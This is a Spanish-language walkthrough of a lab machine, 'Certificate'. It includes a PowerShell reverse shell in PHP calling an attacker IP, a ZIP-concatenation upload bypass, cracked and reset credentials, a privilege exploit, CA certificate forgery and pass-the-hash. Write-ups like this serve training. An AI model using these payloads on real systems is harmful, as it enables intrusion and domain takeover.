Certificate
Código malicioso PDF | Abusar de SeManageVolumenPrivilege

Escaneo:
1 │ # Nmap 7.95 scan initiated Tue Jun 3 09:38:08 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49687,49688,49690,49707,49712,49735 -oN
│ targeted 10.10.11.71
2 │ Nmap scan report for 10.10.11.71
3 │ Host is up (0.23s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 53/tcp open domain Simple DNS Plus
7 │ 80/tcp filtered http
8 │ 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-03 22:38:18Z)
9 │ 135/tcp open msrpc Microsoft Windows RPC
10 │ 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
11 │ 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
12 │ |_ssl-date: 2025-06-03T22:39:51+00:00; +8h00m01s from scanner time.
13 │ | ssl-cert: Subject: commonName=DC01.certificate.htb
14 │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
15 │ | Not valid before: 2024-11-04T03:14:54
16 │ |_Not valid after: 2025-11-04T03:14:54
17 │ 445/tcp open microsoft-ds?
18 │ 464/tcp open kpasswd5?
19 │ 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
20 │ 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
21 │ |_ssl-date: 2025-06-03T22:39:52+00:00; +8h00m01s from scanner time.
22 │ | ssl-cert: Subject: commonName=DC01.certificate.htb
23 │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
24 │ | Not valid before: 2024-11-04T03:14:54
25 │ |_Not valid after: 2025-11-04T03:14:54
26 │ 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
27 │ |_ssl-date: 2025-06-03T22:39:51+00:00; +8h00m01s from scanner time.
28 │ | ssl-cert: Subject: commonName=DC01.certificate.htb
29 │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
30 │ | Not valid before: 2024-11-04T03:14:54
31 │ |_Not valid after: 2025-11-04T03:14:54
32 │ 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
33 │ |_ssl-date: 2025-06-03T22:39:51+00:00; +8h00m01s from scanner time.
34 │ | ssl-cert: Subject: commonName=DC01.certificate.htb
35 │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
36 │ | Not valid before: 2024-11-04T03:14:54
37 │ |_Not valid after: 2025-11-04T03:14:54
38 │ 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
39 │ |_http-title: Not Found
40 │ |_http-server-header: Microsoft-HTTPAPI/2.0
41 │ 9389/tcp open mc-nmf .NET Message Framing
42 │ 49666/tcp open msrpc Microsoft Windows RPC
43 │ 49687/tcp filtered unknown
44 │ 49688/tcp filtered unknown
45 │ 49690/tcp filtered unknown
46 │ 49707/tcp filtered unknown
47 │ 49712/tcp open msrpc Microsoft Windows RPC
48 │ 49735/tcp filtered unknown
49 │ Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
50 │
51 │ Host script results:
52 │ | smb2-time:
53 │ | date: 2025-06-03T22:39:11
54 │ |_ start_date: N/A
55 │ | smb2-security-mode:
56 │ | 3:1:1:
57 │ |_ Message signing enabled and required
58 │ |_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
Nos muestra el puerto 80:

Enumeramos los directorios:
gobuster dir -u "http://certificate.htb" -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,html,js,css,asp,aspx

Si vamos a la página web dice esto:

Podemos ver que hay un espacio para subir archivos:

Despues de ver que acepta solamente .pdf subiremos uno de prueba:

Abrimos el Burpsuite para ver donde se guarda:

Efectivmente se puede ver:

Código malicioso PDF
🔹 1. Crear un archivo PDF simulado
echo "%PDF-1.4\n%EOF" > legit.pdf
Esto genera un archivo PDF vacío pero válido llamado
legit.pdf
, que servirá como contenido aparentemente inofensivo.
🔹 2. Crear un archivo ZIP “benigno”
zip benign.zip legit.pdf
Se crea
benign.zip
conteniendo el archivo PDF falso.
🔹 3. Crear directorio con contenido malicioso
mkdir malicious_files
cd malicious_files
Se genera una carpeta para almacenar el payload malicioso.
🔹 4. Crear archivo shell.php
con una Reverse Shell en PowerShell
shell.php
con una Reverse Shell en PowerShellnano shell.php
Se edita el archivo
shell.php
e inserta el siguiente contenido:
<?php
shell_exec("powershell -nop -w hidden -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.10.16.45',4444); \$stream = \$client.GetStream(); [byte[]]\$bytes = 0..65535|%{0}; while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){; \$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0,\$i); \$sendback = (iex \$data 2>&1 | Out-String ); \$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> '; \$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2); \$stream.Write(\$sendbyte,0,\$sendbyte.Length); \$stream.Flush()}; \$client.Close()\"");
?>
Esta reverse shell abre una conexión a la IP
10.10.16.45
en el puerto4444
.
🔹 5. Volver al directorio anterior
cd ..
🔹 6. Comprimir el contenido malicioso
zip -r malicious.zip malicious_files/
Esto crea un archivo
malicious.zip
que contiene el script malicioso enmalicious_files/shell.php
.
🔹 7. Combinar ambos ZIPs en uno solo
cat benign.zip malicious.zip > combined.zip
Se genera un único archivo
combined.zip
que contiene ambos contenidos:
legit.pdf
(inofensivo)malicious_files/shell.php
(payload)
Esta técnica se basa en que algunos analizadores de ZIP leen solo el primer índice de archivos, lo que puede permitir ocultar archivos maliciosos.
🔹 8. Subida del ZIP combinado al servidor

Se carga combined.zip
en un sitio que lo descomprima automáticamente. Por ejemplo:
https://target.com/uploads/
🔹 9. Ejecutar el payload desde el navegador
https://target.com/uploads/malicious_files/shell.php
Al acceder a esta ruta, si el servidor permite la ejecución de archivos PHP subidos, se activará la reverse shell.
🔹 10. Esperar la conexión desde el servidor
En tu terminal local, ejecutas:
nc -nlvp 4444
Esto abre un listener con Netcat para recibir la conexión desde el servidor comprometido.

Se encontró una bd:

'certificate_webapp_user'
'cert!f!c@teDBPWD'
Ejecutamos el mysql en la maquina victim:
C:\xampp\mysql\bin

Bien con las credenciales ingresaremos a ver la db:
.\mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -D Certificate_WEBAPP_DB -e "SELECT * FROM users;"
Se encontró los usuarios:

Crakeamos los hashes y tenemos el hash de sara.b:
hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

sara.b
Blink182
Miraremos el BloodHound:
python3 bloodhound.py -u 'Sara.B' -p 'Blink182' -d certificate.htb -dc dc01.certificate.htb -c All -ns 10.10.11.71

LION.SK@certificate.htb
aprovechando que SARA.B
es miembro de Account Operators
y tiene control total (GenericAll
) sobre el usuario LION.SK
.Cambiar la contraseña de LION.SK
Usarnet rpc
para resetear la contraseña de Lion.sk, porque Sara.B
tiene privilegios suficientes gracias a Account Operators
:
net rpc password "lion.sk" "newP@ssword2022" -U "certificate.htb/Sara.B%Blink182" -S 10.10.11.71
net rpc password "lion.sk" "newP@ssword2022" -U "certificate.htb"/"Sara.B"%"Blink182" -S certificate.htb
🔑 Esto cambia la contraseña de lion.sk
sin necesidad de conocer la anterior.
✔️ Este abuso funciona porque “Account Operators” puede modificar cuentas que no son administradores ni protegidas.
Acceder vía WinRM con LION.SK
Una vez cambiada la contraseña, accediste remotamente con WinRM:
evil-winrm -u lion.sk -p 'newP@ssword2022' -i 10.10.11.71

Para rootear primero necesitamos cambiar la contraseña de Ryan.K e iniciar sesión a través de winrm.
¿Porqué podemos acceder al usurio de Ryan?
El usuario Sara.B
pertenece al grupo Account Operators
en Active Directory, lo que le permite:
✅ Modificar contraseñas de usuarios no protegidos (no administradores y no miembros de grupos sensibles como Domain Admins
o Protected Users
).
✅ Gestionar cuentas de usuarios normales, como lion.sk
y ryan.k
.
Encontramos una vuln:

Abusar de SeManageVolumenPrivilege
🔹 1. Conexión inicial como Ryan.K
Accediste a la máquina a través de WinRM luego de resetear su contraseña usando Sara.B
:
net rpc password "Ryan.K" "newP@ssword2022" -U "certificate.htb"/"Sara.B"%"Blink182" -S certificate.htb
evil-winrm -i 10.10.11.71 -u 'Ryan.K' -p 'newP@ssword2022'
🔹 2. Verificación de privilegios
Dentro de la sesión WinRM, verificaste los privilegios del usuario:
whoami /priv
✅ Se detectó el privilegio SeManageVolumePrivilege, que permite montar volúmenes.
🔹 3. Ejecución del exploit
Descargaste y subiste el exploit público que abusa de ese privilegio:
📥 Descargar desde GitHub: SeManageVolumeExploit - por CsEnox
upload SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
🟢 Si es exitoso, verás:
Ryan.K now has Full Control over C:\
🔹 4. Exportar certificado de la CA
Con control sobre C:, exportaste el certificado raíz de la CA:
certutil -exportPFX my "Certificate-LTD-CA" C:\Users\Public\ca.pfx
download ca.pfx
🔹 5. Forjar certificado de administrador
Con el ca.pfx
exportado, forjaste un certificado que suplanta a Administrator
:
certipy-ad forge -ca-pfx ca.pfx \
-upn 'administrator@certificate.htb' \
-subject 'CN=Administrator,CN=Users,DC=certificate,DC=htb' \
-out forged_admin.pfx
🔹 6. Sincronizar hora para evitar errores Kerberos
Detectaste el error KRB_AP_ERR_SKEW (Clock skew too great)
al autenticarte. Lo corregiste con:
sudo apt install ntpdate
sudo ntpdate 10.10.11.71
⏰ Resultado:
CLOCK: time stepped by XXXX seconds
🔹 7. Autenticación como Administrator
Tras sincronizar la hora, la autenticación fue exitosa y obtuviste el hash NTLM:
certipy-ad auth -pfx forged_admin.pfx \
-dc-ip 10.10.11.71 \
-username 'administrator' \
-domain 'certificate.htb'
🔐 Resultado:
Got hash for 'administrator@certificate.htb':
aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6
🔹 8. Acceso final como Administrator
Con el hash obtenido, accediste a la máquina con evil-winrm
:
evil-winrm -i 10.10.11.71 -u administrator -H d804304519bf0143c14cbf1c024408c6
Y finalmente:
cd C:\Users\Administrator\Desktop
type root.txt
🎯 Flag root.txt obtenida:
3f1869a3223ce78cde9069209fc8b37

Last updated